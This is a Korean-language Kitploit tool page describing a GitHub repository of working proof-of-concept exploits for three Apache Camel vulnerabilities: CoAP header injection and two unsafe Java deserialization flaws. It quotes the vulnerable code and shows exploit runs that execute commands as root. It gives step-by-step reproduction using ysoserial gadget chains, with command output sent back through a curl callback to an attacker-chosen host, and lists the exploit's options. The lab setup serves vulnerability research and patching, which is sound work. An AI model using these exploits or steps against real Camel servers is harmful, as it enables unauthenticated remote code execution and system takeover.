Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33453 — 세 가지 주요 Apache Camel 취약점에 대한 작동하는 개념 증명 익스플로잇과 상세 분석을 제공하며, CoAP 헤더 주입 및 원격 코드 실행으로 이어지는 안전하지 않은 역직렬화를 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-33453
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingBinary Exploitation
GitHubdinosn/cve-2026-33453

CVE-2026-33453

세 가지 주요 Apache Camel 취약점에 대한 작동하는 개념 증명 익스플로잇과 상세 분석을 제공하며, CoAP 헤더 주입 및 원격 코드 실행으로 이어지는 안전하지 않은 역직렬화를 포함합니다.

저장소 보기
365개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache Camel 4.18.0 — CVE 보안 평가

Apache Camel 4.18.0에서 독립적으로 발견되고 검증된 세 가지 치명적인 취약점으로, 작동하는 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.

CVE구성 요소유형CVSS평가
CVE-2026-33453camel-coap헤더 주입 → 원격 코드 실행10.0 치명적악용 가능
CVE-2026-40473camel-mina안전하지 않은 역직렬화 → 원격 코드 실행9.8 치명적악용 가능
CVE-2026-40858camel-infinispan안전하지 않은 역직렬화8.8 높음악용 가능

CVE-2026-33453: CoAP 헤더 주입 → 원격 코드 실행

구성 요소: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (객체 속성의 부적절한 제어 수정) 수정 버전: Camel 4.18.1 / 4.14.6

근본 원인

CamelCoapResource.handleRequest()는 CoAP URI 쿼리 매개변수를 HeaderFilterStrategy 없이 setHeader()를 통해 Camel Exchange 헤더에 직접 매핑합니다. CoAPEndpoint는 DefaultHeaderFilterStrategyEndpoint 대신 DefaultEndpoint를 확장하므로, 인증되지 않은 모든 클라이언트가 Camel* 접두사가 붙은 내부 헤더를 주입할 수 있습니다.

라우트가 camel-exec로 전달될 때, 공격자가 제어하는 CamelExecCommandExecutable 및 CamelExecCommandArgs 헤더가 구성된 명령을 덮어써서 단일 UDP 패킷으로 사전 인증 원격 코드 실행을 달성합니다.

// CamelCoapResource.java:103-109 — HeaderFilterStrategy 없음
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

PoC 결과

CoAP RCE PoC

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] 응답: 2.05
[+] 명령 출력: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] 명령 출력: app bin boot dev etc home lib ...

CVE-2026-40473: MINA 안전하지 않은 역직렬화 → 원격 코드 실행

구성 요소: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 수정 버전: Camel 4.18.2 / 4.14.6 / 4.20.0

근본 원인

MinaConverter.toObjectInput(IoBuffer)는 ObjectInputFilter 없이 원시 java.io.ObjectInputStream을 생성합니다. MINA 엔드포인트가 allowDefaultCodec=false로 구성되면 원시 TCP 데이터가 IoBuffer로 도착하여 Camel의 타입 변환기에 도달하고, 이 메서드가 호출되어 공격자가 제어하는 네트워크 바이트를 필터링되지 않은 ObjectInputStream으로 감쌉니다.

// MinaConverter.java:60-63 — ObjectInputFilter 없음
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // 공격자가 제어하는 바이트, 필터 없음
}

공격 경로: 익스플로잇은 allowDefaultCodec=false(PoC에서 포트 9879)로 구성된 MINA TCP 엔드포인트를 대상으로 합니다. 이는 MINA의 코덱 계층을 완전히 우회합니다 — ObjectSerializationCodecFactory에는 임의 클래스를 차단하는 자체 ClassNameMatcher 허용 목록이 있습니다. 코덱이 비활성화되면 원시 바이트가 MinaConverter.toObjectInput()으로 직접 흘러 들어가며, 이 메서드는 클래스 필터링이 전혀 없는 표준 ObjectInputStream을 생성합니다.

CommonsCollections6 가젯 체인(ysoserial을 통해)은 루트 권한으로 임의 명령 실행을 달성합니다. 명령 출력은 공격자에게 curl 콜백을 통해 유출됩니다.

PoC 결과

MINA RCE PoC

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] 명령 출력:
    uid=0(root) gid=0(root) groups=0(root)
[+] 확인됨: CVE-2026-40473 RCE — 역직렬화를 통해 명령 실행

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] 명령 출력:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

CVE-2026-40473 단계별 재현

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.8+
  • Java 17+ (ysoserial용)
  • ysoserial — ysoserial-all.jar (CommonsCollections6 가젯)

1단계: 취약한 서버 빌드 및 시작

cd poc/
docker compose up -d --build

컨테이너가 시작될 때까지 기다린 후 확인합니다:

docker logs vuln-camel-mina

다음과 같은 출력이 표시되어야 합니다:

MINA 설정

[*] 취약한 MINA 서버 시작됨
[*] 포트 9877: transferExchange (Java 역직렬화) 엔드포인트
[*] 포트 9878: 객체 직렬화 코덱 엔드포인트
[*] 포트 9879: 원시 TCP (MinaConverter.toObjectInput) 엔드포인트
[*] 연결 대기 중...

포트 9879가 대상입니다 — allowDefaultCodec=false를 사용하여 MINA의 코덱 필터를 비활성화하고 원시 IoBuffer가 Camel의 필터링되지 않은 MinaConverter.toObjectInput()에 도달하도록 합니다.

2단계: 역직렬화 확인 (프로브 모드)

먼저 엔드포인트가 ObjectInputFilter 없이 임의 Java 객체를 수락하고 역직렬화하는지 확인합니다:

python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA 프로브

[*] 프로브 모드 — 역직렬화 확인 중 (RCE 없음)
[*] 페이로드: HashMap (82바이트, 원시 — MINA 프레임 없음)
[+] MINA 엔드포인트에 연결됨
[+] 페이로드 전송됨
[+] 데이터가 필터 거부 없이 readObject()에 도달함

프로브는 직렬화된 HashMap을 전송합니다. 서버는 InvalidClassException 없이 ObjectInputStream.readObject()를 통해 이를 역직렬화합니다 — 클래스 필터링이 전혀 없음을 확인합니다.

3단계: 명령 실행 (전체 RCE)

ysoserial을 사용할 수 있으면 필터링되지 않은 역직렬화를 악용하여 임의 명령을 실행합니다:

# 'id' 실행 — uid=0(root) 반환
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# 파일 읽기
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# 시스템 정보
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

익스플로잇은 CommonsCollections6 가젯 체인을 생성하여 포트 9879로 원시 바이트로 전송하고 curl 콜백 리스너를 통해 명령 출력을 캡처합니다.

익스플로잇 옵션

usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           대상 IP/호스트명
  port             MINA TCP 포트 (기본값: 9879)
  command          실행할 명령 (기본값: id)
  --ysoserial      ysoserial.jar 경로 (설정하지 않으면 자동 감지)
  --callback-host  컨테이너가 사용자에게 도달하는 호스트 (기본값: host.docker.internal)
  --gadget         ysoserial 가젯 체인 (기본값: 자동 — CC6, CC5, CC1 시도)
  --probe          프로브 모드만 — RCE 없이 역직렬화 확인
  --raw            MINA 4바이트 프레임 없이 원시 페이로드 전송 (포트 9879에서 자동 활성화)

참고: --callback-host는 기본적으로 host.docker.internal(Docker Desktop)로 설정됩니다. Docker Desktop 없이 Linux에서 실행하는 경우 --callback-host 172.17.0.1 또는 Docker 브리지 IP를 사용하세요.

4단계: 정리

cd poc/
docker compose down

CVE-2026-40858: Infinispan 안전하지 않은 역직렬화

구성 요소: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 수정 버전: Camel 4.18.2 / 4.14.7 / 4.20.0

근본 원인

DefaultExchangeHolderUtils.deserialize(byte[])는 ObjectInputFilter 없이 ClassLoadingAwareObjectInputStream을 생성합니다. DefaultExchangeHolderProtoAdapter는 Infinispan 캐시 바이트를 이 메서드로 직접 라우팅합니다. 캐시 쓰기 권한(Hot Rod 포트 11222 또는 REST API)이 있는 공격자는 악성 직렬화 페이로드를 주입하며, 이는 집계 저장소가 키를 가져올 때 역직렬화됩니다.

이는 CVE-2024-22369, CVE-2024-23114 및 CVE-2026-25747과 동일한 취약점 패턴입니다 — Camel의 역직렬화 경로에서 ObjectInputFilter 없이 readObject()를 사용하는 수정되지 않은 모든 인스턴스입니다.

// DefaultExchangeHolderUtils.java:46-53 — ObjectInputFilter 없음
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // 공격자가 제어
    }
}

취약한 코드

Infinispan 취약한 코드


주석이 달린 취약한 코드

도구 다운로드